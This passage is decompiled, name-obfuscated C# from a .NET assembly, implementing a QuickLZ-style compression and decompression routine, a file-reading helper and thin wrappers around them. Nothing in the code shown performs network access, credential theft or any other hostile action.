                    if (num6 <= 63U)
                    {
                      *numPtr8 = (byte) (num6 << 2);
                      ++numPtr8;
                      num2 = num2 >> 1 | 2147483648U;
                      numPtr5 += 3;
                    }
                    else if (num6 <= 16383U)
                    {
                      YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((int) num6 << 2 | 1), (void*) numPtr8, 2U);
                      numPtr8 += 2;
                      num2 = num2 >> 1 | 2147483648U;
                      numPtr5 += 3;
                    }
                    else
                    {
                      *numPtr8 = *numPtr5;
                      ++numPtr8;
                      ++numPtr5;
                      num2 >>= 1;
                    }
                  }
                  else
                  {
                    num2 = num2 >> 1 | 2147483648U;
                    uint index = 3;
                    while ((int) numPtr14[(int) index] == (int) numPtr5[(int) index] && index < 2050U)
                      ++index;
                    numPtr5 += (int) index;
                    if (index <= 18U && num6 <= 1023U)
                    {
                      YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((int) index - 3 << 2 | (int) num6 << 6 | 2), (void*) numPtr8, 2U);
                      numPtr8 += 2;
                    }
                    else if (index <= 34U && num6 <= (uint) ushort.MaxValue)
                    {
                      YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((int) index - 3 << 3 | (int) num6 << 8 | 3), (void*) numPtr8, 3U);
                      numPtr8 += 3;
                    }
                    else if (index >= 3U)
                    {
                      YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((int) index - 3 << 4 | (int) num6 << 15 | 7), (void*) numPtr8, 4U);
                      numPtr8 += 4;
                    }
                  }
                }
                else
                {
                  *numPtr8 = *numPtr5;
                  ++numPtr8;
                  ++numPtr5;
                  num2 >>= 1;
                }
              }
            }
            while (numPtr5 <= numPtr4)
            {
              if (((int) num2 & 1) == 1)
              {
                YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(num2 >> 1 | 2147483648U, (void*) numPtr7, 4U);
                numPtr7 = numPtr8;
                numPtr8 += 4;
                num2 = 2147483648U;
              }
              *numPtr8 = *numPtr5;
              ++numPtr8;
              ++numPtr5;
              num2 >>= 1;
            }
            while (((int) num2 & 1) != 1)
              num2 >>= 1;
            YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(num2 >> 1 | 2147483648U, (void*) numPtr7, 4U);
            byte* numPtr15 = numPtr8 + 4;
            YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(1U, (void*) (numPtr11 + 4), 4U);
            YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((ulong) (numPtr15 - numPtr2) - 1UL + 4UL), (void*) (numPtr11 + 2), 4U);
            YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0039igTocIex((void*) (numPtr2 + (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr11 + 2), 4U) - 4), tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1256));
          }
        return YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.yGrGFt2Ng(obj2);
      }

      [MethodImpl(MethodImplOptions.NoInlining)]
      private static unsafe uint oEv1kgedQ([In] byte[] obj0, [In] uint obj1, [In] byte[] obj2)
      {
        fixed (byte* numPtr1 = obj0)
          fixed (byte* numPtr2 = obj2)
          {
            byte* numPtr3 = numPtr1 + (int) obj1;
            uint num1 = 32;
            byte* numPtr4 = numPtr3 + (int) num1;
            byte* numPtr5 = numPtr2;
            uint* numPtr6 = (uint*) numPtr3;
            byte* numPtr7 = numPtr2 + (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 3), 4U);
            uint num2 = 1;
            uint[] numArray = new uint[16]
            {
              4U,
              0U,
              1U,
              0U,
              2U,
              0U,
              1U,
              0U,
              3U,
              0U,
              1U,
              0U,
              2U,
              0U,
              1U,
              0U
            };
            byte* numPtr8 = numPtr7 - 4;
            if (!YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.fTu8VEKSg((void*) numPtr6, tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1268)) || YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 1), 4U) != 3U || !YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.fTu8VEKSg((void*) (numPtr3 + (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 2), 4U) - 4), tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1280)))
              return 0;
            if (YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 4), 4U) != 1U)
            {
              YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0031aAAcYcfl((void*) numPtr2, (void*) (numPtr3 + (int) num1), YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 3), 4U));
              return YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 3), 4U);
            }
            if (numPtr5 >= numPtr8)
            {
              byte* numPtr9 = numPtr4 + 4;
              while (numPtr5 < numPtr7)
              {
                *numPtr5 = *numPtr9;
                ++numPtr5;
                ++numPtr9;
              }
              return (uint) (numPtr5 - numPtr2);
            }
            do
            {
              if (num2 == 1U)
              {
                num2 = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr4, 4U);
                numPtr4 += 4;
              }
              uint num3 = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr4, 4U);
              if (((int) num2 & 1) == 1)
              {
                num2 >>= 1;
                if (((int) num3 & 3) == 0)
                {
                  uint num4 = (num3 & (uint) byte.MaxValue) >> 2;
                  YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr5 - (int) num4, 3U);
                  numPtr5 += 3;
                  ++numPtr4;
                }
                else if (((int) num3 & 2) == 0)
                {
                  uint num5 = (num3 & (uint) ushort.MaxValue) >> 2;
                  YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr5 - (int) num5, 3U);
                  numPtr5 += 3;
                  numPtr4 += 2;
                }
                else if (((int) num3 & 1) == 0)
                {
                  uint num6 = (num3 & (uint) ushort.MaxValue) >> 6;
                  uint num7 = (uint) (((int) (num3 >> 2) & 15) + 3);
                  YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr5 - (int) num6, num7);
                  numPtr5 += (int) num7;
                  numPtr4 += 2;
                }
                else if (((int) num3 & 4) == 0)
                {
                  uint num8 = (num3 & 16777215U) >> 8;
                  uint num9 = (uint) (((int) (num3 >> 3) & 31) + 3);
                  YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr5 - (int) num8, num9);
                  numPtr5 += (int) num9;
                  numPtr4 += 3;
                }
                else if (((int) num3 & 8) == 0)
                {
                  uint num10 = num3 >> 15;
                  uint num11 = (uint) (((int) (num3 >> 4) & 2047) + 3);
                  YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr5 - (int) num10, num11);
                  numPtr5 += (int) num11;
                  numPtr4 += 4;
                }
                else
                {
                  byte num12 = (byte) (num3 >> 16);
                  uint num13 = num3 >> 4 & 4095U;
                  YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.HnbvO3JPm((void*) numPtr5, num12, num13);
                  numPtr5 += (int) num13;
                  numPtr4 += 3;
                }
              }
              else
              {
                YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr4, 4U);
                numPtr5 += (int) numArray[(IntPtr) (num2 & 15U)];
                numPtr4 += (int) numArray[(IntPtr) (num2 & 15U)];
                num2 >>= (int) (byte) numArray[(IntPtr) (num2 & 15U)];
              }
            }
            while (numPtr5 < numPtr8);
            while (numPtr5 < numPtr7)
            {
              if (num2 == 1U)
              {
                numPtr4 += 4;
                num2 = 2147483648U;
              }
              *numPtr5 = *numPtr4;
              ++numPtr5;
              ++numPtr4;
              num2 >>= 1;
            }
            return (uint) (numPtr5 - numPtr2);
          }
      }

      [MethodImpl(MethodImplOptions.NoInlining)]
      private static byte[] \u0033REZxwYE8([In] string obj0)
      {
        byte[] buffer = (byte[]) null;
        FileStream fileStream = File.Open(obj0, FileMode.Open, FileAccess.Read, FileShare.Read);
        try
        {
          buffer = new byte[fileStream.Length];
          fileStream.Read(buffer, 0, buffer.Length);
        }
        finally
        {
          fileStream.Close();
        }
        return buffer;
      }

      [MethodImpl(MethodImplOptions.NoInlining)]
      public static byte[] B1Cp1eERm([In] string obj0) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.DeWUrFjAC(YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0033REZxwYE8(obj0));

      [MethodImpl(MethodImplOptions.NoInlining)]
      public static byte[] bhFIRp8Sr([In] string obj0) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.PMFLr6jcg(YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0033REZxwYE8(obj0));

      [MethodImpl(MethodImplOptions.NoInlining)]
      public static byte[] DeWUrFjAC([In] byte[] obj0) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.gapYO5dWO(obj0, 0U, Convert.ToUInt32(obj0.Length));

      [MethodImpl(MethodImplOptions.NoInlining)]
      public static byte[] PMFLr6jcg([In] byte[] obj0) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0039fUblSrWA(obj0, 0U);

      [MethodImpl(MethodImplOptions.NoInlining)]
      public static byte[] gapYO5dWO([In] byte[] obj0, [In] uint obj1, [In] uint obj2)
      {
        byte[] numArray1 = new byte[(IntPtr) (obj2 + 36000U)];
        uint length = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.YPoCMoGHZ(obj0, obj1, numArray1, obj2);
        byte[] numArray2 = new byte[(IntPtr) length];
        for (uint index = 0; index < length; ++index)
          numArray2[(IntPtr) index] = numArray1[(IntPtr) index];
        return numArray2;
      }

      [MethodImpl(MethodImplOptions.NoInlining)]
      public static byte[] \u0039fUblSrWA([In] byte[] obj0, [In] uint obj1)
      {
        uint length = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0034J3iGuO2D(obj0, obj1);
        byte[] numArray = (byte[]) null;
        if (length != 0U)
        {
          numArray = new byte[(IntPtr) length];
          int num = (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.oEv1kgedQ(obj0, obj1, numArray);
        }
        return numArray;
      }

      [MethodImpl(MethodImplOptions.NoInlining)]
      public P65q5rcw0MukklQaVB()
      {
        qriSERnLWqCHHxhiWL.mQJJcrKz2UjcR();
        // ISSUE: explicit constructor call
        base.\u002Ector();
      }
    }
  }
}
